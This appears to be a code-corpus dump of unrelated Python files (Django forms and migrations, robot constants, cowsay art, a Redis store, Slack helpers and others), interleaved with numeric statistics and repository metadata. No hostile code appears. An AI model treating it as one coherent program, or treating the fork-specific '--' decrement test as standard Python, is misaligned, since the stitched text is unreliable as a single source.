q(x, s, prevstate, dt) = - \\frac{s - prevstate(x)}{\\Delta t}
:math:`fun` refers to a :math:`theta(h)`-relation of which one is
defined in :py:func:`~waterflow.utility.conductivityfunctions` and
:math:`prevstate(x)` calculates the states of the previous time step
as a function of position. The ready to use function can be found in
:py:meth:`~waterflow.flow1d.flowFE1d.Flow1DFE.states_to_function()`.
.. note::
The Storage change function is a special case of an external flux
function as described in
:py:class:`~waterflow.flow1d.flowFE1d.Flow1DFE.add_spatialflux` and
assumes four positional arguments and any amount of keyword arguments,
having a default value.
"""
return - S * (fun(s) - fun(prevstate(x))) / dt
if __name__ == '__main__':
import doctest
doctest.testmod()
| 31.92623 | 81 | 0.602182 | 1,014 | 7,790 | 4.598619 | 0.183432 | 0.013725 | 0.019301 | 0.028951 | 0.631139 | 0.575166 | 0.516835 | 0.507399 | 0.507399 | 0.507399 | 0 | 0.020185 | 0.249551 | 7,790 | 243 | 82 | 32.057613 | 0.777455 | 0.83543 | 0 | 0 | 0 | 0 | 0.016949 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.363636 | false | 0 | 0.090909 | 0 | 0.818182 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
6b7d9e5a2669647cac8172ea89c374c1adf391b7 | 139 | py | Python | robotSrv/constants.py | JDownloader/GEL-3014_Design3 | dea01245592c97f73e6a78426270d91ade5e25c7 | [
"MIT"
] | null | null | null | robotSrv/constants.py | JDownloader/GEL-3014_Design3 | dea01245592c97f73e6a78426270d91ade5e25c7 | [
"MIT"
] | null | null | null | robotSrv/constants.py | JDownloader/GEL-3014_Design3 | dea01245592c97f73e6a78426270d91ade5e25c7 | [
"MIT"
] | null | null | null |
ROBOT_POSITION_RESSOURCE = '/robotposition'
CUBE_POSITION_RESSOURCE = '/cubeposition'
PATH_RESSOURCE = '/path'
FLAG_RESSOURCE = '/flag' | 17.375 | 43 | 0.776978 | 14 | 139 | 7.285714 | 0.571429 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107914 | 139 | 8 | 44 | 17.375 | 0.822581 | 0 | 0 | 0 | 0 | 0 | 0.266187 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6b94d0334e232802439724b3fba7371055622d49 | 169 | py | Python | supervised_learning/0x08-deep_cnns/4-main.py | kyeeh/holbertonschool-machine_learning | 8e4894c2b036ec7f4750de5bf99b95aee5b94449 | [
"MIT"
] | null | null | null | supervised_learning/0x08-deep_cnns/4-main.py | kyeeh/holbertonschool-machine_learning | 8e4894c2b036ec7f4750de5bf99b95aee5b94449 | [
"MIT"
] | null | null | null | supervised_learning/0x08-deep_cnns/4-main.py | kyeeh/holbertonschool-machine_learning | 8e4894c2b036ec7f4750de5bf99b95aee5b94449 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
import tensorflow.keras as K
resnet50 = __import__('4-resnet50').resnet50
if __name__ == '__main__':
model = resnet50()
model.summary()
| 18.777778 | 44 | 0.698225 | 21 | 169 | 5.047619 | 0.761905 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.070423 | 0.159763 | 169 | 8 | 45 | 21.125 | 0.676056 | 0.12426 | 0 | 0 | 0 | 0 | 0.122449 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
6b9a5460a63d098d9fa6913f42556e1ab99f6450 | 1,070 | py | Python | cowsay/lib/cows/black_mesa.py | Ovlic/cowsay_py | 1ee8d11d6d895d7695d57e26003d71ce18379d3b | [
"MIT"
] | null | null | null | cowsay/lib/cows/black_mesa.py | Ovlic/cowsay_py | 1ee8d11d6d895d7695d57e26003d71ce18379d3b | [
"MIT"
] | null | null | null | cowsay/lib/cows/black_mesa.py | Ovlic/cowsay_py | 1ee8d11d6d895d7695d57e26003d71ce18379d3b | [
"MIT"
] | null | null | null | def Black_mesa(thoughts, eyes, eye, tongue):
return f"""
{thoughts}
{thoughts}
.-;+\$XHHHHHHX\$+;-.
,;X\@\@X%/;=----=:/%X\@\@X/,
=\$\@\@%=. .=+H\@X:
-XMX: =XMX=
/\@\@: =H\@+
%\@X, .\$\@\$
+\@X. \$\@%
-\@\@, .\@\@=
%\@% +\@\$
H\@: :\@H
H\@: :HHHHHHHHHHHHHHHHHHX, =\@H
%\@% ;\@M\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@H- +\@\$
=\@\@, :\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@= .\@\@:
+\@X :\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@M\@\@\@\@\@\@:%\@%
\$\@\$, ;\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@M\@\@\@\@\@\@\$.
+\@\@HHHHHHH\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@+
=X\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@X=
:\$\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@M\@\@\@\@\$:
,;\$\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@\@X/-
.-;+\$XXHHHHHX\$+;-.
""" | 42.8 | 66 | 0.118692 | 39 | 1,070 | 3.230769 | 0.435897 | 0.079365 | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.354206 | 1,070 | 25 | 67 | 42.8 | 0.182344 | 0 | 0 | 0.08 | 0 | 0 | 0.94211 | 0.418301 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0 | 0 | 0.04 | 0.08 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6bb00e54f0e1134bc23f3eb78651d55347669c5e | 439 | py | Python | dh_abstracts/app/abstracts/migrations/0019_auto_20200331_1723.py | dSHARP-CMU/dhweb_app | fe3d89aeb6c59e6606596747a236a2df5529e9a4 | [
"MIT"
] | 3 | 2021-05-07T17:01:33.000Z | 2022-01-08T07:54:22.000Z | dh_abstracts/app/abstracts/migrations/0019_auto_20200331_1723.py | dSHARP-CMU/dhweb_app | fe3d89aeb6c59e6606596747a236a2df5529e9a4 | [
"MIT"
] | 336 | 2019-12-04T23:06:08.000Z | 2022-03-31T16:23:15.000Z | dh_abstracts/app/abstracts/migrations/0019_auto_20200331_1723.py | dSHARP-CMU/dhweb_app | fe3d89aeb6c59e6606596747a236a2df5529e9a4 | [
"MIT"
] | null | null | null | # Generated by Django 3.0.4 on 2020-03-31 21:23
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('abstracts', '0018_auto_20200331_1715'),
]
operations = [
migrations.RemoveField(
model_name='work',
name='published_version',
),
migrations.RemoveField(
model_name='work',
name='state',
),
]
| 19.954545 | 49 | 0.567198 | 43 | 439 | 5.651163 | 0.744186 | 0.17284 | 0.213992 | 0.246914 | 0.312757 | 0.312757 | 0 | 0 | 0 | 0 | 0 | 0.104027 | 0.321185 | 439 | 21 | 50 | 20.904762 | 0.711409 | 0.102506 | 0 | 0.4 | 1 | 0 | 0.158163 | 0.058673 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.266667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6bb8b58e3d4c509f2ab9e15701ed9173e1ab9a10 | 814 | py | Python | Lib/test/test_decr.py | zingero/cpython | da36d8cdedc1cf1937c3579e2bc089a8ff97c093 | [
"0BSD"
] | null | null | null | Lib/test/test_decr.py | zingero/cpython | da36d8cdedc1cf1937c3579e2bc089a8ff97c093 | [
"0BSD"
] | 13 | 2020-12-01T05:38:24.000Z | 2022-03-01T18:00:55.000Z | Lib/test/test_decr.py | zingero/cpython | da36d8cdedc1cf1937c3579e2bc089a8ff97c093 | [
"0BSD"
] | null | null | null | # Decrement test.
import unittest
class DecrementTest(unittest.TestCase):
def testBasic(self):
x = 2
x--
self.assertEqual(x, 1)
x --
self.assertEqual(x, 0)
def test_in_loop(self):
original_x = x = 2
decrementation_number = 10
START_FROM_INDEX_ONE = 1
for i in range(START_FROM_INDEX_ONE, decrementation_number + START_FROM_INDEX_ONE):
x--
self.assertEqual(x, original_x - i)
def test_backward_compatibility_for_plusplus_token(self):
self.assertEqual(1--1, 2)
self.assertEqual(1-- 1, 2)
x = 2
self.assertEqual(x--1, 3)
self.assertEqual(x-- 1, 3)
self.assertEqual(x--x, 4)
self.assertEqual(--x, 2)
if __name__ == '__main__':
unittest.main()
| 23.941176 | 91 | 0.592138 | 105 | 814 | 4.32381 | 0.352381 | 0.297357 | 0.246696 | 0.112335 | 0.193833 | 0.114537 | 0.114537 | 0.114537 | 0 | 0 | 0 | 0.035026 | 0.298526 | 814 | 33 | 92 | 24.666667 | 0.76007 | 0.018428 | 0 | 0.36 | 0 | 0 | 0.010038 | 0 | 0 | 0 | 0 | 0 | 0.36 | 0 | null | null | 0 | 0.04 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6bea332ba0e011a3d57549e2e8dc5c7c34aff05f | 3,993 | py | Python | bmstu_project/student/forms.py | TrungLuong1194/django-student-management | 5fabcad86eb1067c48c3b5f25e6a6a9e37571a6a | [
"MIT"
] | 1 | 2020-07-17T14:10:50.000Z | 2020-07-17T14:10:50.000Z | bmstu_project/student/forms.py | TrungLuong1194/django-student-management | 5fabcad86eb1067c48c3b5f25e6a6a9e37571a6a | [
"MIT"
] | null | null | null | bmstu_project/student/forms.py | TrungLuong1194/django-student-management | 5fabcad86eb1067c48c3b5f25e6a6a9e37571a6a | [
"MIT"
] | null | null | null | from django import forms
from student.models import Major, UserProfile
from django.contrib.auth.models import User
class MajorForm(forms.ModelForm):
code = forms.CharField(max_length=20)
viName = forms.CharField(max_length=128)
enName = forms.CharField(max_length=128)
class Meta:
model = Major
fields = ('code', 'viName', 'enName')
class UserProfileForm(forms.ModelForm):
GENDER_CHOICES = (
("Nam", "Nam"),
("Nữ", "Nữ"),
)
GRADE_CHOICES = (
("Отлично", "Отлично"),
("Хорошо", "Хорошо"),
("Удовлетворительно", "Удовлетворительно"),
("Зачтено", "Зачтено")
)
major = forms.ModelChoiceField(queryset=Major.objects.all())
fullName = forms.CharField(max_length=128)
gender = forms.ChoiceField(choices=GENDER_CHOICES)
birthday = forms.DateField()
ethnic = forms.CharField(max_length=20)
religion = forms.CharField(max_length=20)
studyYear = forms.IntegerField()
addressVN = forms.CharField(max_length=128)
addressRu = forms.CharField(max_length=128)
phone = forms.CharField(max_length=128)
workPlace = forms.CharField(max_length=128, required=False)
dateOfAdmission = forms.DateField() # Ngay nhap hoc
dateOfStudy = forms.DateField() # Ngay bat dau khoa hoc
timeOfStudy = forms.CharField(max_length=128) # Thoi gian dao tao
infoOfStudy = forms.CharField(max_length=128) # Dang hoc hoc ki ?
# Result of study
ruSubject1 = forms.CharField(max_length=128, required=False)
viSubject1 = forms.CharField(max_length=128, required=False)
resultSubject1 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject2 = forms.CharField(max_length=128, required=False)
viSubject2 = forms.CharField(max_length=128, required=False)
resultSubject2 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject3 = forms.CharField(max_length=128, required=False)
viSubject3 = forms.CharField(max_length=128, required=False)
resultSubject3 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject4 = forms.CharField(max_length=128, required=False)
viSubject4 = forms.CharField(max_length=128, required=False)
resultSubject4 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject5 = forms.CharField(max_length=128, required=False)
viSubject5 = forms.CharField(max_length=128, required=False)
resultSubject5 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject6 = forms.CharField(max_length=128, required=False)
viSubject6 = forms.CharField(max_length=128, required=False)
resultSubject6 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject7 = forms.CharField(max_length=128, required=False)
viSubject7 = forms.CharField(max_length=128, required=False)
resultSubject7 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject8 = forms.CharField(max_length=128, required=False)
viSubject8 = forms.CharField(max_length=128, required=False)
resultSubject8 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject9 = forms.CharField(max_length=128, required=False)
viSubject9 = forms.CharField(max_length=128, required=False)
resultSubject9 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject10 = forms.CharField(max_length=128, required=False)
viSubject10 = forms.CharField(max_length=128, required=False)
resultSubject10 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject11 = forms.CharField(max_length=128, required=False)
viSubject11 = forms.CharField(max_length=128, required=False)
resultSubject11 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
ruSubject12 = forms.CharField(max_length=128, required=False)
viSubject12 = forms.CharField(max_length=128, required=False)
resultSubject12 = forms.ChoiceField(choices=GRADE_CHOICES, required=False)
# Information of Bank
nameBank = forms.CharField(max_length=128, required=False)
nameAccount = forms.CharField(max_length=128, required=False) # Ten tieng nga
class Meta:
model = UserProfile
exclude = ('user',) | 38.76699 | 79 | 0.78287 | 483 | 3,993 | 6.362319 | 0.240166 | 0.164985 | 0.210218 | 0.284413 | 0.622193 | 0.530101 | 0.530101 | 0 | 0 | 0 | 0 | 0.043588 | 0.103681 | 3,993 | 103 | 80 | 38.76699 | 0.815032 | 0.030303 | 0 | 0.025974 | 0 | 0 | 0.026908 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.038961 | 0 | 0.844156 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
d43ac1ad4b191e4a65578eda72985a89e1d01856 | 179 | py | Python | tests/test_provider.py | ApeWorX/ape-fantom | 694a3b8dde48dd0432a58768879f528dca4edbed | [
"Apache-2.0"
] | null | null | null | tests/test_provider.py | ApeWorX/ape-fantom | 694a3b8dde48dd0432a58768879f528dca4edbed | [
"Apache-2.0"
] | 4 | 2022-03-11T21:38:56.000Z | 2022-03-20T15:39:16.000Z | tests/test_provider.py | ApeWorX/ape-fantom | 694a3b8dde48dd0432a58768879f528dca4edbed | [
"Apache-2.0"
] | null | null | null | def test_use_provider(accounts, networks):
with networks.fantom.local.use_provider("test"):
account = accounts.test_accounts[0]
account.transfer(account, 100)
| 35.8 | 52 | 0.72067 | 22 | 179 | 5.681818 | 0.590909 | 0.176 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026846 | 0.167598 | 179 | 4 | 53 | 44.75 | 0.812081 | 0 | 0 | 0 | 0 | 0 | 0.022346 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
d43f5fac407ab9b3be82deb729884bcc04eb0392 | 837 | py | Python | src/openprocurement/tender/esco/procedure/serializers/bid.py | ProzorroUKR/openprocurement.api | 2855a99aa8738fb832ee0dbad4e9590bd3643511 | [
"Apache-2.0"
] | 10 | 2020-02-18T01:56:21.000Z | 2022-03-28T00:32:57.000Z | src/openprocurement/tender/esco/procedure/serializers/bid.py | quintagroup/openprocurement.api | 2855a99aa8738fb832ee0dbad4e9590bd3643511 | [
"Apache-2.0"
] | 26 | 2018-07-16T09:30:44.000Z | 2021-02-02T17:51:30.000Z | src/openprocurement/tender/esco/procedure/serializers/bid.py | ProzorroUKR/openprocurement.api | 2855a99aa8738fb832ee0dbad4e9590bd3643511 | [
"Apache-2.0"
] | 15 | 2019-08-08T10:50:47.000Z | 2022-02-05T14:13:36.000Z | from openprocurement.tender.core.procedure.serializers.base import ListSerializer
from openprocurement.tender.core.procedure.serializers.document import ConfidentialDocumentSerializer
from openprocurement.tender.core.procedure.serializers.parameter import ParameterSerializer
from openprocurement.tender.esco.procedure.serializers.lot_value import LotValueSerializer
from openprocurement.tender.esco.procedure.serializers.value import ValueSerializer
from openprocurement.tender.openeu.procedure.serializers import BidSerializer as BaseBidSerializer
class BidSerializer(BaseBidSerializer):
serializers = {
"value": ValueSerializer,
"lotValues": ListSerializer(LotValueSerializer),
"documents": ListSerializer(ConfidentialDocumentSerializer),
"parameters": ListSerializer(ParameterSerializer),
}
| 52.3125 | 101 | 0.833931 | 71 | 837 | 9.816901 | 0.366197 | 0.163558 | 0.215208 | 0.124821 | 0.351506 | 0.351506 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097969 | 837 | 15 | 102 | 55.8 | 0.923179 | 0 | 0 | 0 | 0 | 0 | 0.039427 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.461538 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
d453eb393dd54ae2eef12fe9e70bae23ed170871 | 1,076 | py | Python | user_service/user/schema/user_schema.py | ss-o-furda/part_of_proj-user_service | 20553eebaa2189cd47b08119850cd17ab0b1cd20 | [
"CC0-1.0"
] | null | null | null | user_service/user/schema/user_schema.py | ss-o-furda/part_of_proj-user_service | 20553eebaa2189cd47b08119850cd17ab0b1cd20 | [
"CC0-1.0"
] | 1 | 2021-06-02T02:43:39.000Z | 2021-06-02T02:43:39.000Z | user_service/user/schema/user_schema.py | ss-o-furda/part_of_proj-user_service | 20553eebaa2189cd47b08119850cd17ab0b1cd20 | [
"CC0-1.0"
] | null | null | null | from marshmallow import fields, validate, validates_schema, ValidationError
from user import MARSHMALLOW
from user.models.user_model import User
class UserSchema(MARSHMALLOW.ModelSchema):
user_password = fields.Str(validate=validate.Length(6, 255))
user_email = fields.Str(validate=validate.Email())
class Meta:
model = User
class ChangePassSchema(MARSHMALLOW.Schema):
old_user_pass = fields.Str(validate=validate.Length(6, 255))
new_user_pass = fields.Str(validate=validate.Length(6, 255))
new_user_pass_confirm = fields.Str(validate=validate.Length(6, 255))
@validates_schema
def confirm_password(self, data, **kwargs):
if data['new_user_pass'] != data['new_user_pass_confirm']:
raise ValidationError('Incorrect password confirmation.')
class ChangeEmailSchema(MARSHMALLOW.Schema):
new_user_email = fields.Str(validate=validate.Email())
class UserLoginSchema(MARSHMALLOW.Schema):
user_email = fields.Str(validate=validate.Email())
user_password = fields.Str(validate=validate.Length(6, 255))
| 33.625 | 75 | 0.750929 | 133 | 1,076 | 5.909774 | 0.270677 | 0.091603 | 0.173028 | 0.254453 | 0.452926 | 0.452926 | 0.452926 | 0.358779 | 0.246819 | 0.127226 | 0 | 0.021645 | 0.141264 | 1,076 | 31 | 76 | 34.709677 | 0.829004 | 0 | 0 | 0.190476 | 0 | 0 | 0.061338 | 0.019517 | 0 | 0 | 0 | 0 | 0 | 1 | 0.047619 | false | 0.428571 | 0.142857 | 0 | 0.809524 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
d4609e8f44efe020f44060fbdd7755f9870ce65b | 756 | py | Python | similarity/io/kv_storage.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | 1 | 2020-10-06T15:40:46.000Z | 2020-10-06T15:40:46.000Z | similarity/io/kv_storage.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | null | null | null | similarity/io/kv_storage.py | diepdaocs/redis-minhash-es | e570fabd05730375af3e91c7830044cc0413fd9d | [
"Apache-2.0"
] | null | null | null | from abc import ABC, abstractmethod
from redis import StrictRedis
class KVStorage(ABC):
@abstractmethod
def put(self, name, key, value):
pass
@abstractmethod
def get(self, name, key):
pass
@abstractmethod
def delete(self, key):
pass
class RedisStorage(KVStorage):
def __init__(self, host='localhost', port=6379):
self.redis_client = StrictRedis(host, port, decode_responses=True)
def put(self, name, key, value):
self.redis_client.hset(name, key, value)
def get(self, name, key):
value = self.redis_client.hget(name, key)
if value == 'None':
return None
return value
def delete(self, key):
self.redis_client.delete(key)
| 20.432432 | 74 | 0.628307 | 93 | 756 | 5.010753 | 0.344086 | 0.090129 | 0.094421 | 0.103004 | 0.242489 | 0.193133 | 0.133047 | 0 | 0 | 0 | 0 | 0.007246 | 0.269841 | 756 | 36 | 75 | 21 | 0.836957 | 0 | 0 | 0.5 | 0 | 0 | 0.017196 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291667 | false | 0.125 | 0.083333 | 0 | 0.541667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
00fe339e324ca87a706ae6136e567aedc5f923dd | 329 | py | Python | slackhandler/blockkit.py | bonartm/slackhandler | 55c78c9761c1e552857fe9cdbe97ee2597487b77 | [
"MIT"
] | null | null | null | slackhandler/blockkit.py | bonartm/slackhandler | 55c78c9761c1e552857fe9cdbe97ee2597487b77 | [
"MIT"
] | null | null | null | slackhandler/blockkit.py | bonartm/slackhandler | 55c78c9761c1e552857fe9cdbe97ee2597487b77 | [
"MIT"
] | 1 | 2021-12-17T10:44:30.000Z | 2021-12-17T10:44:30.000Z | def make_divider():
return {"type": "divider"}
def make_markdown(text):
return {"type": "mrkdwn", "text": text }
def make_section(text):
return {"type":"section", "text": make_markdown(text)}
def make_context(*args):
return {"type":"context", "elements": [*args]}
def make_blocks(*args):
return [*args]
| 19.352941 | 58 | 0.635258 | 41 | 329 | 4.95122 | 0.317073 | 0.172414 | 0.157635 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167173 | 329 | 16 | 59 | 20.5625 | 0.740876 | 0 | 0 | 0 | 0 | 0 | 0.180428 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
00ff4a8835d914f17981db009280fc3a6e9e3c0c | 588 | py | Python | build/imu_calib/catkin_generated/pkg.develspace.context.pc.py | dawnchen123/AutonomousCar | 6595c5f64f89dcee32f84f414c54028c2da25a45 | [
"BSD-2-Clause"
] | null | null | null | build/imu_calib/catkin_generated/pkg.develspace.context.pc.py | dawnchen123/AutonomousCar | 6595c5f64f89dcee32f84f414c54028c2da25a45 | [
"BSD-2-Clause"
] | null | null | null | build/imu_calib/catkin_generated/pkg.develspace.context.pc.py | dawnchen123/AutonomousCar | 6595c5f64f89dcee32f84f414c54028c2da25a45 | [
"BSD-2-Clause"
] | 1 | 2019-10-22T05:54:23.000Z | 2019-10-22T05:54:23.000Z | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "/home/nvidia/linorobot_ws/src/imu_calib/include;/usr/local/include/eigen3".split(';') if "/home/nvidia/linorobot_ws/src/imu_calib/include;/usr/local/include/eigen3" != "" else []
PROJECT_CATKIN_DEPENDS = "cmake_modules;roscpp;sensor_msgs;lino_msgs".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "-laccel_calib".split(';') if "-laccel_calib" != "" else []
PROJECT_NAME = "imu_calib"
PROJECT_SPACE_DIR = "/home/nvidia/linorobot_ws/devel"
PROJECT_VERSION = "0.0.0"
| 65.333333 | 213 | 0.767007 | 84 | 588 | 5.047619 | 0.52381 | 0.070755 | 0.134434 | 0.148585 | 0.283019 | 0.283019 | 0.283019 | 0.283019 | 0.283019 | 0.283019 | 0 | 0.009107 | 0.066327 | 588 | 8 | 214 | 73.5 | 0.763206 | 0.091837 | 0 | 0 | 1 | 0 | 0.494361 | 0.411654 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
2e44abcfdbb18d94c222ffb45f03c16751379a76 | 312 | py | Python | wafer/tickets/urls.py | liip-forks/wafer | e7f90f61c820d2d643738f590bb2614d87a2bda7 | [
"ISC"
] | null | null | null | wafer/tickets/urls.py | liip-forks/wafer | e7f90f61c820d2d643738f590bb2614d87a2bda7 | [
"ISC"
] | null | null | null | wafer/tickets/urls.py | liip-forks/wafer | e7f90f61c820d2d643738f590bb2614d87a2bda7 | [
"ISC"
] | null | null | null | from django.conf.urls import url
from wafer.tickets.views import ClaimView, zapier_cancel_hook, zapier_guest_hook
urlpatterns = [
url(r'^claim/$', ClaimView.as_view(), name='wafer_ticket_claim'),
url(r'^zapier_guest_hook/$', zapier_guest_hook),
url(r'^zapier_cancel_hook/$', zapier_cancel_hook),
]
| 31.2 | 80 | 0.75 | 45 | 312 | 4.866667 | 0.466667 | 0.164384 | 0.219178 | 0.200913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112179 | 312 | 9 | 81 | 34.666667 | 0.790614 | 0 | 0 | 0 | 0 | 0 | 0.214744 | 0.067308 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
2e569471592d5ed61cf0d5d23478440e96810c7e | 2,507 | py | Python | AtlasOEM.py | pratikgharte/Python_GUI_EC_PH | 5dd6a166ffc59a55a45e711481261644879a3d8a | [
"MIT"
] | 2 | 2020-11-24T05:43:55.000Z | 2021-01-23T18:08:17.000Z | AtlasOEM.py | pratikgharte/Python_GUI_EC_PH | 5dd6a166ffc59a55a45e711481261644879a3d8a | [
"MIT"
] | null | null | null | AtlasOEM.py | pratikgharte/Python_GUI_EC_PH | 5dd6a166ffc59a55a45e711481261644879a3d8a | [
"MIT"
] | 4 | 2020-11-03T22:06:52.000Z | 2022-03-14T15:59:07.000Z | import smbus
class AtlasOEM(object):
DEFAULT_BUS = 1
def __init__(self, address, name = "", bus=None):
self._address = address
